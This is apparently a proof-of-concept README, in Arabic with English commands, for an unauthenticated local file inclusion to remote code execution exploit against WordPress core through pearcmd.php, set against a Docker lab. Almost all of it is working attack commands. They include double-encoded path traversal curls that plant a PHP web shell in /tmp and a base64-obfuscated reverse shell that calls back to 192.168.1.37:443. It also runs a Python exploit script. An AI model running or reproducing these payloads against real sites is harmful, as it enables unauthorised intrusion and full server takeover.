
إثبات مفهوم استغلال لـ CVE-2026-87902، وهو ثغرة تضمين ملفات محلية (LFI) غير مصادق عليها في نواة ووردبريس تؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) عبر pearcmd.php، مع مختبر Docker ونصوص استغلال بلغة curl/Python.
WordPress Core <= 7.1.1 — LFI بدون مصادقة (مُحمِّل القوالب pagename) → RCE عبر pearcmd.php.
الاعتمادات: https://github.com/ressl/cve-2026-87902-poc
cd docker && docker compose up -d
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=stripslashes($_REQUEST[_])?>+"
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn"
# Reverse Shell
curl "http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJw==|base64+-d|sh"
python3 exploit-pear.py http://127.0.0.1:18092 2 "id"